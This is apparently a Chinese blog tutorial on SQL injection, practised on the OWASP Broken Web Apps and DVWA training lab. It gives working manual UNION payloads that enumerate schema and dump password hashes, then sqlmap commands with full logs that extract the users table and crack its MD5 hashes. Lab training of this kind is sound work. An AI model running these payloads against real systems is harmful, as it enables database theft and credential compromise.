SQL 注入简单介绍

2022/01/13 更新 1 次 更新于 2026/08/21 Security 共 13563 字,约 39 分钟

SQL 注入是一种常见的网络安全漏洞,简单来说就是攻击者通过在输入框、URL 参数等地方,把恶意的 SQL 代码“混入”到正常的 SQL 查询中,欺骗数据库服务器执行非法命令。

1、安全渗透

分类:

  • WEB 数据库安全(SQL 注入漏洞)
  • WEB 应用服务器安全(文件上传漏洞、文件包含漏洞)
  • WEB 客户端安全(XSS 跨站攻击)

原理:

  • 攻击者在页面提交恶意字符
  • 服务器对提交参数未过滤或过滤不足
  • 攻击者利用拼接 SQL 语句方式获取数据库敏感信息
1.1、环境搭建

OWASP(开放式 Web 应用安全项目)Top 10 是全球 Web 应用与软件安全领域的事实行业标准,自 2003 年首次发布以来,每 3-4 年迭代一次,是企业安全建设、开发者安全编码、合规审计、渗透测试的核心参考依据。

OWASP 网站提供了虚拟机,里面包含许多存在严重安全漏洞的 Web 应用程序可以用来学习使用。

# 靶机下载,解压后用 VMware 导入打开虚拟机
wget https://downloads.sourceforge.net/project/owaspbwa/1.2/OWASP_Broken_Web_Apps_VM_1.2.7z

# 启动虚拟机,查看 ip,默认密码 root/owaspbwa
ip a

# 访问 web 网站
http://192.168.1.8

2、手动注入

SQL注入是一种常见的网络安全漏洞,简单来说,就是攻击者通过在输入框、URL参数等地方,把恶意的SQL代码“混入”到正常的SQL查询中,欺骗数据库服务器执行非法命令。

mysql:information_schema 存储 mysql 中所有库名、表名、列名。

select * from dvwa.users union select 1,2,3,4,5,6;

# 查看数据库所有表名
select distinct table_schema from information_schema.tables;

# 查看数据库所有表的列名
select table_name from information_schema.columns;

登录后 SQL Injection 菜单下可以演练 SQL 注入,账号密码:admin/admin:http://192.168.1.8/dvwa/index.php

2.1、获取当前表所有信息
# 获取当前表所有信息
' or 1=1#
# 页面输出结果
ID: ' or 1=1#
First name: admin
Surname: admin
ID: ' or 1=1#
First name: Gordon
Surname: Brown
ID: ' or 1=1#
First name: Hack
Surname: Me
ID: ' or 1=1#
First name: Pablo
Surname: Picasso
ID: ' or 1=1#
First name: Bob
Surname: Smith
ID: ' or 1=1#
First name: user
Surname: user
2.2、猜测列
# 猜测列数来确认几个字段
' union select 1,2#
# 页面结果显示共两列
ID: ' union select 1,2#
First name: 1
Surname: 2
2.3、获取数据库名
# 获取数据库名
' union select 1,database()#
# 页面结果显示数据库名是 dvwa
ID: ' union select 1,database()#
First name: 1
Surname: dvwa
2.4、获取库中所有表名
# 获取表
' union select table_name,1 from information_schema.tables where table_schema = 'dvwa'#
# 页面结果显示表名是 users
ID: ' union select table_name,1 from information_schema.tables where table_schema = 'dvwa'#
First name: guestbook
Surname: 1
ID: ' union select table_name,1 from information_schema.tables where table_schema = 'dvwa'#
First name: users
Surname: 1
2.5、获取表中所有列
# 获取列
' union select column_name,1 from information_schema.columns where table_name = 'users'#
# 页面结果显示列为:user_id、first_name、last_name、user、password、avatar
ID: ' union select column_name,1 from information_schema.columns where table_name = 'users'#
First name: user_id
Surname: 1
ID: ' union select column_name,1 from information_schema.columns where table_name = 'users'#
First name: first_name
Surname: 1
ID: ' union select column_name,1 from information_schema.columns where table_name = 'users'#
First name: last_name
Surname: 1
ID: ' union select column_name,1 from information_schema.columns where table_name = 'users'#
First name: user
Surname: 1
ID: ' union select column_name,1 from information_schema.columns where table_name = 'users'#
First name: password
Surname: 1
ID: ' union select column_name,1 from information_schema.columns where table_name = 'users'#
First name: avatar
Surname: 1
2.6、获取数据
# 获取数据
' union select user,password from users#
# 页面结果输出指定列数据
ID: ' union select user,password from users#
First name: admin
Surname: 21232f297a57a5a743894a0e4a801fc3
ID: ' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: ' union select user,password from users#
First name: user
Surname: ee11cbb19052e40b07aac0ca060c23ee
2.7、获取多列数据
# 获取多列数据
' union select user,concat(first_name, ' ',last_name, ' ', password) from users#
# 页面结果输出多列数据,避免 union 语法限制,使用 concat 函数能获取多个字段数据
ID: ' union select user,concat(first_name, ' ',last_name, ' ', password) from users#
First name: admin
Surname: admin admin 21232f297a57a5a743894a0e4a801fc3
ID: ' union select user,concat(first_name, ' ',last_name, ' ', password) from users#
First name: gordonb
Surname: Gordon Brown e99a18c428cb38d5f260853678922e03
ID: ' union select user,concat(first_name, ' ',last_name, ' ', password) from users#
First name: 1337
Surname: Hack Me 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union select user,concat(first_name, ' ',last_name, ' ', password) from users#
First name: pablo
Surname: Pablo Picasso 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union select user,concat(first_name, ' ',last_name, ' ', password) from users#
First name: smithy
Surname: Bob Smith 5f4dcc3b5aa765d61d8327deb882cf99
ID: ' union select user,concat(first_name, ' ',last_name, ' ', password) from users#
First name: user
Surname: user user ee11cbb19052e40b07aac0ca060c23ee

3、自动注入

利用 sqlmap 开源渗透工具代替人工完成 SQL 注入操作

3.1、扫描注入点
# 自动注入查找注入点
sqlmap --batch -u "http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=test&Submit=Submit" --cookie="security=low; PHPSESSID=u3fbvvdj44mftnp4jb8d37mv91; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada"

# 可以看到共发起 157 个请求,网站使用 mysql 数据库,接口参数 id 是注入点
[23:20:38] [INFO] testing connection to the target URL
[23:20:38] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:20:38] [INFO] testing if the target URL content is stable
[23:20:39] [INFO] target URL content is stable
[23:20:39] [INFO] testing if GET parameter 'id' is dynamic
[23:20:39] [WARNING] GET parameter 'id' does not appear to be dynamic
[23:20:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[23:20:39] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[23:20:39] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[23:20:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:20:39] [WARNING] reflective value(s) found and filtering out
[23:20:39] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[23:20:39] [INFO] testing 'Generic inline queries'
[23:20:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[23:20:40] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[23:20:40] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[23:20:40] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --not-string="Me")
[23:20:40] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[23:20:40] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[23:20:40] [INFO] testing 'MySQL >= 8.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UUID_TO_BIN)'
[23:20:40] [INFO] testing 'MySQL >= 8.0 OR error-based - WHERE or HAVING clause (UUID_TO_BIN)'
[23:20:40] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[23:20:40] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
[23:20:40] [INFO] testing 'MySQL inline queries'
[23:20:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[23:20:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[23:20:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[23:20:40] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[23:20:40] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[23:20:40] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[23:20:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:20:50] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[23:20:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:20:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[23:20:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:20:50] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:20:51] [INFO] target URL appears to have 2 columns in query
[23:20:51] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[23:20:51] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 157 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: id=test' OR NOT 1844=1844#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=test' AND EXTRACTVALUE(3335,CONCAT(0x5c,0x7178706a71,(SELECT (ELT(3335=3335,1))),0x7170767171))-- geHZ&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=test' AND (SELECT 8458 FROM (SELECT(!SLEEP(5)))finw)-- Udje&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=test' UNION ALL SELECT CONCAT(0x7178706a71,0x5a5966494553434457486d446c434d67634b6d62636d7247456e74596e734379514a6f577a547479,0x7170767171),NULL#&Submit=Submit
---
[23:20:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.1
[23:20:51] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.8'
3.2、获取数据库名
# 获取数据库名
sqlmap --batch -u "http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=test&Submit=Submit" --cookie="security=low; PHPSESSID=u3fbvvdj44mftnp4jb8d37mv91; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --current-db

# 扫描结果可以看到数据库是 dvwa
[23:23:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.1
[23:23:06] [INFO] fetching current database
[23:23:06] [WARNING] reflective value(s) found and filtering out
current database: 'dvwa'
[23:23:06] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.8'
3.3、获取表
# 获取所有表
sqlmap --batch -u "http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=test&Submit=Submit" --cookie="security=low; PHPSESSID=u3fbvvdj44mftnp4jb8d37mv91; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa --tables

# 扫描结果可以看到有两张表
[23:25:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: Apache 2.2.14, PHP 5.3.2
back-end DBMS: MySQL >= 5.1
[23:25:27] [INFO] fetching tables for database: 'dvwa'
[23:25:28] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[23:25:28] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.8'
3.4、获取表字段
# 获取表所有字段
sqlmap --batch -u "http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=test&Submit=Submit" --cookie="security=low; PHPSESSID=u3fbvvdj44mftnp4jb8d37mv91; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users --columns

# 扫描结果可以 users 表所有字段
[23:27:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.1
[23:27:28] [INFO] fetching columns for table 'users' in database 'dvwa'
[23:27:28] [WARNING] reflective value(s) found and filtering out
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+

[23:27:28] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.8'
3.5、获取数据
# 获取 users 表指定列数据
sqlmap --batch -u "http://192.168.1.8/dvwa/vulnerabilities/sqli/?id=test&Submit=Submit" --cookie="security=low; PHPSESSID=u3fbvvdj44mftnp4jb8d37mv91; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" -D dvwa -T users -C "user,password" --dump

# 可以看到 sqlmap 将字段数据导出到 CSV 文件中, md5 密码加密前的值也解析了出来
[23:32:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: Apache 2.2.14, PHP 5.3.2
back-end DBMS: MySQL >= 5.1
[23:32:13] [INFO] fetching entries of column(s) '`user`,password' for table 'users' in database 'dvwa'
[23:32:14] [WARNING] reflective value(s) found and filtering out
[23:32:14] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[23:32:14] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[23:32:14] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[23:32:14] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[23:32:14] [WARNING] multiprocessing hash cracking is currently not supported on this platform
[23:32:31] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[23:32:32] [INFO] cracked password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
[23:32:40] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[23:32:59] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[23:33:07] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[23:33:21] [INFO] cracked password 'user' for hash 'ee11cbb19052e40b07aac0ca060c23ee'
Database: dvwa
Table: users
[6 entries]
+---------+---------------------------------------------+
| user    | password                                    |
+---------+---------------------------------------------+
| admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| user    | ee11cbb19052e40b07aac0ca060c23ee (user)     |
+---------+---------------------------------------------+

[23:33:21] [INFO] table 'dvwa.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.1.8/dump/dvwa/users.csv'
[23:33:21] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.8'

Search

    Table of Contents